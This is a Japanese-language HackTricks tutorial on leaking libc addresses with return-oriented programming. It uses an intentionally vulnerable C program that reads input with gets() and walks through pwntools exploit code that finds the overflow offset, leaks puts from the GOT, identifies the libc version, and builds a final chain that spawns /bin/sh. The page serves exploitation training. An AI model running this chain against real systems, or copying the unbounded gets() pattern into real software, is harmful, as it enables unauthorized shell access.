ROPを使用したlibcアドレスのリーク

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

簡単な要約

  1. オーバーフローのオフセットを見つける
  2. POP_RDIガジェット、PUTS_PLTおよびMAINガジェットを見つける
  3. 前のガジェットを使用してputsまたは他のlibc関数のメモリアドレスをリークし、libcのバージョンを見つけるdonwload it
  4. ライブラリを使用して、ROPを計算し、エクスプロイトする

練習用の他のチュートリアルとバイナリ

このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
他の役立つチュートリアル: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

コード

ファイル名: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBCを漏洩させるテンプレート

エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:

Leaking libc - template

1- オフセットの特定

テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供された場合は、必要なコードを実行してそれを見つけます(デフォルトでは OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

実行 python template.py を入力すると、プログラムがクラッシュした状態でGDBコンソールが開きます。そのGDBコンソール内で x/wx $rsp を実行して、RIPを上書きしようとしているバイトを取得します。最後に、pythonコンソールを使用してオフセットを取得します:

python
from pwn import *
cyclic_find(0x6161616b)

オフセットを見つけたら(この場合は40)、その値を使ってテンプレート内のOFFSET変数を変更します。
OFFSET = "A" * 40

別の方法としては、pattern create 1000 -- retまで実行 -- pattern seach $rspをGEFから使用することです。

2- ガジェットの発見

次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、使用されているlibcを見つけるためにputsを呼び出すのに役立ち、後で最終的なエクスプロイトを実行するために使用されます。

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLTfunction putsを呼び出すために必要です。
MAIN_PLTexploitのためにoverflowagain呼び出すために、1回のインタラクションの後にmain functionを再度呼び出すために必要です(無限のエクスプロイトのラウンド)。各ROPの最後にプログラムを再度呼び出すために使用されます
POP_RDIは呼び出された関数にparameterpassするために必要です。

このステップでは、実行中にpwntoolsによってすべてが見つかるため、何も実行する必要はありません。

3- libcライブラリの特定

今はどのバージョンのlibcライブラリが使用されているかを見つける時です。そうするために、function putsのメモリ内のaddressleakし、そのアドレスにどのlibrary versionのputsバージョンがあるかをsearchします。

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

実行されたコードの中で最も重要な行は次のとおりです:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

これにより、RIP上書きすることが可能になるまでいくつかのバイトが送信されます: OFFSET
次に、ガジェットPOP_RDIアドレスを設定し、次のアドレス(FUNC_GOT)がRDIレジスタに保存されるようにします。これは、putsを呼び出すために、PUTS_GOTアドレスを渡したいからです。puts関数のメモリ内のアドレスはPUTS_GOTが指すアドレスに保存されています。
その後、PUTS_PLTが呼び出され(RDI内にPUTS_GOTがある状態で)、putsはPUTS_GOT内の内容を読み取りますメモリ内のputs関数のアドレス)そしてそれを出力します
最後に、main関数が再度呼び出され、再びオーバーフローを利用できるようになります。

この方法で、puts関数を騙してメモリ内の関数putsのアドレスlibcライブラリ内)を出力させました。そのアドレスがわかったので、どのlibcバージョンが使用されているかを検索できます

ローカルバイナリを利用しているため、どのバージョンのlibcが使用されているかを特定する必要はありません(ただ/lib/x86_64-linux-gnu/libc.so.6でライブラリを見つければよいです)。
しかし、リモートエクスプロイトの場合、どのようにそれを見つけるかをここで説明します:

3.1- libcバージョンの検索 (1)

ウェブページでどのライブラリが使用されているかを検索できます: https://libc.blukat.me/
これにより、発見されたlibcのバージョンをダウンロードすることもできます。

3.2- libcバージョンの検索 (2)

次のようにすることもできます:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

これには少し時間がかかるので、辛抱強く待ってください。
これが機能するためには、次が必要です:

  • Libcシンボル名: puts
  • 漏洩したlibcアドレス: 0x7ff629878690

これにより、最も可能性の高いlibcを特定できます。

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

2つのマッチが得られます(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.soを作業ディレクトリにコピーします。

3.3- 漏洩させる他の関数

python
puts
printf
__libc_start_main
read
gets

4- libcアドレスの発見と悪用

この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のようにします:/lib/x86_64-linux-gnu/libc.so.6

したがって、template.pyの最初にlibc変数を次のように変更します: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libcライブラリへのパスを指定することで、残りのエクスプロイトは自動的に計算されます

get_addr関数内でlibcのベースアドレスが計算されます:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

最終的なlibcベースアドレスは00で終わる必要があります。そうでない場合は、間違ったライブラリを漏洩した可能性があります。

その後、関数systemのアドレスと文字列_"/bin/sh"_のアドレスは、libcのベースアドレスから計算され、libcライブラリが与えられます。

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最終的に、/bin/sh 実行エクスプロイトが準備されます:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

最後のROPについて説明しましょう。
最後のROP(rop1)は再びmain関数を呼び出し、次に再度****オーバーフロー悪用します(だからOFFSETがここに再びあります)。次に、POP_RDIを呼び出して**"/bin/sh"アドレス**(BINSH)を指し、system関数(SYSTEM)を呼び出します。なぜなら、"/bin/sh"のアドレスがパラメータとして渡されるからです。
最後に、exit関数のアドレス
呼び出され
、プロセスが正常に終了し、アラートが生成されません。

この方法で、エクスプロイトは_/bin/sh_シェルを実行します。

4(2)- ONE_GADGETの使用

systemと**"/bin/sh"を使用する代わりに、ONE_GADGETを使用してシェルを取得することもできます。ONE_GADGETはlibcライブラリ内で、1つのROPアドレス**を使用してシェルを取得する方法を見つけます。
ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは[rsp+0x30] == NULLのようなものです。RSP内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

この脆弱性を悪用するためのテンプレートはここにあります:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] が見つかりません

"main" シンボルが存在しない場合、メインコードの場所を見つけることができます:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

アドレスを手動で設定します:

python
MAIN_PLT = 0x401080

Putsが見つかりません

バイナリがPutsを使用していない場合は、次のことを確認してください。

sh: 1: %s%s%s%s%s%s%s%s: not found

すべてのエクスプロイトを作成した後にこのエラーが見つかった場合: sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh"のアドレスから64バイトを引いてみてください:

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする